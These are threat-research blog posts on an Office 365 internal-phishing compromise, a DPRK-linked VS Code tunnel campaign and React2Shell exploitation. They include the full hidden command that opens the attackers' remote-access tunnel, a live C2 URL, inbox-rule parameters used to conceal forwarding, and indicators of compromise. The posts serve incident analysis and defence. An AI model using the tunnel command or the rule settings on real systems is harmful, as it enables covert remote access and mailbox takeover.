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May 25, 2022

Multi-Account Compromise in Office 365

Learn how internal phishing can compromise accounts swiftly & how Darktrace/Apps can prevent future attacks effectively.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Laura Leyland
Cyber Analyst
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25
May 2022

In February 2022, Darktrace detected the compromise of three SaaS accounts within a customer’s Office 365 environment. This incident provides an effective use case for highlighting how Darktrace/Apps and Darktrace/Email can work together to alert to unusual logins, app permission changes, new email rules and outbound spam. It also emphasizes an instance where Darktrace RESPOND/Apps could have been set to autonomous mode and stopped additional compromise.

Account Compromise Timeline

February 9 2022

Account A was logged into from a rare IP from Nigeria with the BAV2ROPC user agent which is commonly associated with SaaS account attacks. BAV2ROPC stands for ‘Basic Authentication Version 2 Resource Owner Password Credential’ and is commonly used by old email apps such as iOS Mail. It is often seen in SaaS/email account compromises where accounts have ‘legacy authentication’ enabled. This is because, even if multi-factor authentication (MFA) is activated, legacy protocols like IMAP/POP3 are not configured for MFA and so do not result in an MFA notification being sent.[1][2]

Account A then created a new email rule which was named as a single full stop. Attackers commonly create new email rules to give themselves persistent access by using the ability to forward certain emails to external email accounts they own. This means that even if the account’s password is changed or MFA is turned on, the attacker keeps getting the forwarded emails as long as the rule remains in place. In this case, the attacker configured the new email rule using the following fields and features:

  • AlwaysDeleteOutlookRulesBlob – hides any warning messages when using Outlook on the web or Powershell to edit inbox rules. It is likely that the attacker had a set list of commands to run and didn’t want to be slowed down in the exploitation of the account by having to click confirmation messages.
  • Force – hides warning or confirmation messages.
  • MoveToFolder – moves emails to a folder. This is often used to move bounced emails away from the inbox in order to hide the fact the account is being used to send emails by the attacker.
  • Name – specifies the name of the rule, in this case a single full stop.
  • SubjectOrBodyContainsWords – emails with key words are actioned.
  • StopProcessingRules – determines whether subsequent rules are processed if the conditions of this rule are met. It is likely in this case the attacker set this to false so that any subsequent rules would still be processed to avoid raising suspicion.

Account A was then observed giving permission to the email management app Spike. This was likely to allow the rapid automated exploitation of the compromised account. Attackers want to speed up this process to reduce the time between account compromise and malicious use of the account, thus reducing the time security teams have to respond.

Figure 1: Screenshot from SaaS console showing the timeline of giving consent to the email management application Spike and the creation of the new inbox rule

The account was then observed sending 794 emails over a 15 minute period to both internal and external recipients. These emails shared similar qualities including the same subject line and related phishing links. This mass spam was likely due to the attacker wanting to compromise as many accounts and credentials as possible within the shortest timeframe. The domain of the link sent in the emails was spikenow[.]com and was hidden by the text ‘View Shared Link’. This suggests that the attacker used Spike to send the emails and host the phishing link.

Figure 2: Screenshot of AGE UI showing the spike in outbound messages from the compromised account – the messages all appear to be the same format
Figure 3: Screenshot from Darktrace/Email of the link and text that masked the link: ‘View Shared File’

Within 15 minutes of this large volume of outbound email from Account A, Account B was accessed from the same rare IP located in Nigeria. Account B also created a new email rule which was named a single full stop. In addition to the previous rules, the following rules were observed:

  • From – specifies that emails from certain addresses will be processed by the rule.
  • MarkAsRead – specifies that emails are to be marked as read.

Due to the short timeframe between the phishing emails and the anomalous behavior from Account B, it is possible that Account B was an initial phishing victim.

Figure 4: Screenshot of the SaaS console showing Account B login failures, then successful login and inbox rule creation from the rare Nigerian IP

February 10 2022

The next day, a third account (Account C) was also accessed from the same rare IP. This occurred on two occasions, once with the user agent Mozilla/5.0 and once with BAV2ROPC. After the login at 13:08 with BAV2ROPC, the account gave the same permission as Account A to the email management app Spike. It then created what appears to be the same email rule, named a single full stop. As with Account B, it is possible that this account was compromised by one of the phishing emails sent by Account A.

Figure 5: Timeline of key incidents with Darktrace/Apps actions

Whilst the motive of the threat actor was unclear, this may have been the result of:

  • Credential harvesting for future use against the organization or to sell to a third party.
  • Possible impersonation of compromised users on professional websites (LinkedIn, Indeed) to phish further company accounts:
  • Fake accounts of one user were discovered on LinkedIn.
  • Emails registering for Indeed for this same user were seen during compromise.

How did the attack bypass the rest of the security stack?

  • Compromised Office 365 credentials, combined with the use of the user agent BAV2ROPC meant MFA could not stop the suspicious login.
  • RESPOND was in Human Confirmation Mode and was therefore not confirmed to take autonomous action, showing only the detections. Disabling Account A would likely have prevented the phishing emails and the subsequent compromise of Accounts B and C.
  • The organization was not signed up to Darktrace Proactive Threat Notifications or Ask The Expert services which could have allowed further triage from Darktrace SOC analysts.

Cyber AI Analyst Investigates

Darktrace’s Cyber AI Analyst automates investigations at speed and scale, prioritizing relevant incidents and creating actionable insights, allowing security teams to rapidly understand and act against a threat.

In this case, AI Analyst automatically investigated all three account compromises, saving time for the customer’s security team and allowing them to quickly investigate the incident themselves in more detail. The technology also highlighted some of the viewed files by the compromised accounts which was not immediately obvious from the model breaches alone.

Figure 6: Screenshot of AI Analyst for Account A
Figure 7: Screenshot of AI Analyst for Account B
Figure 8: Screenshot of AI Analyst for Account C

Darktrace RESPOND (Antigena) actions

The organization in question did not have RESPOND/Apps configured in Active Mode, and so it did not take any action in this case. The table below shows the critical defensive actions RESPOND would have taken.[3]

Nonetheless, we can see what actions RESPOND would have taken, and when, had the technology been enabled.

The above tables illustrate that all three users would have been disabled during the incident had RESPOND been active. The highlighted row shows that Account A would have been disabled when the internal phishing emails were sent and possibly then prevented the cascade of compromised email accounts (B and C).

Conclusion

SaaS accounts greatly increase a company’s attack surface. Not only is exploitation of compromised accounts quick, but a single compromised account can easily lead to further compromises via an internal phishing campaign. Together this reinforces the ongoing need for autonomous and proactive security to complement existing IT teams and reduce threats at the point of compromise. Whilst disabling ‘legacy authentication’ for all accounts and providing MFA would give some extra protection, Darktrace/Apps has the ability to block all further infection.

Credit to: Adam Stevens and Anthony Wong for their contributions.

Appendix

List of Darktrace Model Detections

User A – February 9 2022

  • 04:55:51 UTC | SaaS / Access / Suspicious Login User-Agent
  • 04:55:51 UTC | SaaS / Access / Unusual External Source for SaaS Credential Use
  • 04:55:52 UTC | Antigena / SaaS / Antigena Suspicious SaaS and Email Activity Block
  • 04:55:52 UTC | Antigena / SaaS / Antigena Suspicious SaaS Activity Block
  • 14:16:48 UTC | SaaS / Compliance / New Email Rule
  • 14:16:48 UTC | SaaS / Compromise / Unusual Login and New Email Rule
  • 14:16:49 UTC | Antigena / SaaS / Antigena Significant Compliance Activity Block
  • 14:16:49 UTC | Antigena / SaaS / Antigena Suspicious SaaS Activity Block
  • 14:45:06 UTC | IaaS / Admin / Azure Application Administration Activities
  • 14:45:07 UTC | SaaS / Admin / OAuth Permission Grant
  • 14:45:07 UTC | Device / Multiple Model Breaches
  • 14:45:08 UTC | SaaS / Compliance / Multiple Unusual SaaS Activities
  • 15:03:25 UTC | SaaS / Email Nexus / Possible Outbound Email Spam
  • 15:03:25 UTC | SaaS / Compromise / Unusual Login and Outbound Email Spam

User B – February 9 2022

  • 15:18:21 UTC | SaaS / Compliance / New Email Rule
  • 15:18:21 UTC | SaaS / Compromise / Unusual Login and New Email Rule
  • 15:18:22 UTC | Antigena / SaaS / Antigena Significant Compliance Activity Block
  • 15:18:22 UTC | Antigena / SaaS / Antigena Suspicious SaaS Activity Block

User C – February 10 2022

  • 14:25:20 UTC | SaaS / Admin / OAuth Permission Grant
  • 14:38:09 UTC | SaaS / Compliance / New Email Rule
  • 14:38:09 UTC | SaaS / Compromise / Unusual Login and New Email Rule
  • 14:38:10 UTC | Antigena / SaaS / Antigena Significant Compliance Activity Block
  • 14:38:10 UTC | Antigena / SaaS / Antigena Suspicious SaaS Activity Block

Refrences

1. https://www.ncsc.gov.uk/guidance/phishing#section_3

2. https://www.bleepingcomputer.com/news/security/microsoft-scammers-bypass-office-365-mfa-in-bec-attacks/

3. https://customerportal.darktrace.com/product-guides/main/antigena-saas-inhibitors

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Laura Leyland
Cyber Analyst

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January 21, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote accessDefault blog imageDefault blog image

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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